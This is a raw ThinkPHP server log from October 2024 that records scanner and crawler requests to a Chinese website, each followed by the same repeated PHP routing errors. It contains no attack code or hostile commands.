'59.110.137.245', 'user-agent' => 'Mozilla/5.0', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:38+08:00 ] 147.182.148.140 GET 59.110.137.245/t4 [运行时间:0.002348s] [吞吐率:425.90req/s] [内存消耗:132.23kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 't4', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:39+08:00 ] 147.182.148.140 GET 59.110.137.245/geoip/ [运行时间:0.002241s] [吞吐率:446.25req/s] [内存消耗:132.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'geoip', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:39+08:00 ] 147.182.148.140 GET 59.110.137.245/favicon.ico [运行时间:0.002339s] [吞吐率:427.55req/s] [内存消耗:132.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:40+08:00 ] 147.182.148.140 GET 59.110.137.245/1.php [运行时间:0.002279s] [吞吐率:438.78req/s] [内存消耗:132.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '1.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:40+08:00 ] 147.182.148.140 GET 59.110.137.245/systembc/password.php [运行时间:0.002233s] [吞吐率:447.82req/s] [内存消耗:132.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'systembc', 2 => 'password.php', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:43:40+08:00 ] 147.182.148.140 GET 59.110.137.245/password.php [运行时间:0.002271s] [吞吐率:440.30req/s] [内存消耗:132.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'password.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T05:50:19+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.001506s] [吞吐率:664.08req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T06:09:24+08:00 ] 79.22.18.144 GET 127.0.0.1/ [运行时间:0.001452s] [吞吐率:688.72req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T06:21:19+08:00 ] 198.235.24.8 GET 59.110.137.245:80/ [运行时间:0.001599s] [吞吐率:625.36req/s] [内存消耗:160.37kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T06:40:52+08:00 ] 5.59.249.141 GET 59.110.137.245:80/home.asp [运行时间:0.012064s] [吞吐率:82.89req/s] [内存消耗:132.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'home.asp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36', 'accept' => '*/*', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T07:04:45+08:00 ] 178.215.238.85 GET 59.110.137.245:80/login.rsp [运行时间:0.002042s] [吞吐率:489.70req/s] [内存消耗:132.33kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'login.rsp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'connection' => 'close', 'upgrade-insecure-requests' => '1', 'user-agent' => 'Hello World', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T07:21:28+08:00 ] 89.248.165.243 GET / [运行时间:0.021107s] [吞吐率:47.38req/s] [内存消耗:159.58kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'ivre-masscan/1.3 https://github.com/robertdavidgraham/', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-10-23T08:05:29+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.023542s] [吞吐率:42.48req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T08:23:29+08:00 ] 162.142.125.212 GET 59.110.137.245/ [运行时间:0.001576s] [吞吐率:634.54req/s] [内存消耗:159.55kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T08:23:30+08:00 ] 162.142.125.212 GET 59.110.137.245/favicon.ico [运行时间:0.022950s] [吞吐率:43.57req/s] [内存消耗:132.65kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T08:33:19+08:00 ] 164.52.24.179 GET 59.110.137.245/ [运行时间:0.001732s] [吞吐率:577.33req/s] [内存消耗:160.83kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 'accept-language' => 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'accept-charset' => 'GBK,utf-8;q=0.7,*;q=0.3', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-encoding' => '', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T08:33:21+08:00 ] 120.246.97.138 GET www.51tianwei.com/ [运行时间:0.001533s] [吞吐率:652.30req/s] [内存消耗:162.41kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36', 'accept' => 'text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, image/apng, */*; q=0.8, application/signed-exchange; v=b3', 'accept-language' => 'zh-CN, zh; q=0.9', 'sec-ch-ua' => '" Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"', 'sec-ch-ua-mobile' => '?0', 'sec-ch-ua-platform' => '"Windows"', 'sec-fetch-dest' => 'document', 'sec-fetch-mode' => 'navigate', 'sec-fetch-site' => 'same-origin', 'sec-fetch-user' => '?1', 'accept-encoding' => 'gzip, deflate, br', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T08:33:23+08:00 ] 164.52.24.179 GET 59.110.137.245/ [运行时间:0.001648s] [吞吐率:606.73req/s] [内存消耗:161.10kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36', 'accept-language' => 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'accept-charset' => 'GBK,utf-8;q=0.7,*;q=0.3', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-encoding' => 'gzip;q=1.0, br;q=0.8, *;q=0.5', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T08:33:26+08:00 ] 164.52.24.179 GET 59.110.137.245/ [运行时间:0.001647s] [吞吐率:607.17req/s] [内存消耗:159.70kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T08:35:32+08:00 ] 80.66.83.49 CONNECT 80.66.83.49:8080.66.83.49:80 [运行时间:0.001628s] [吞吐率:614.28req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '80.66.83.49:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ 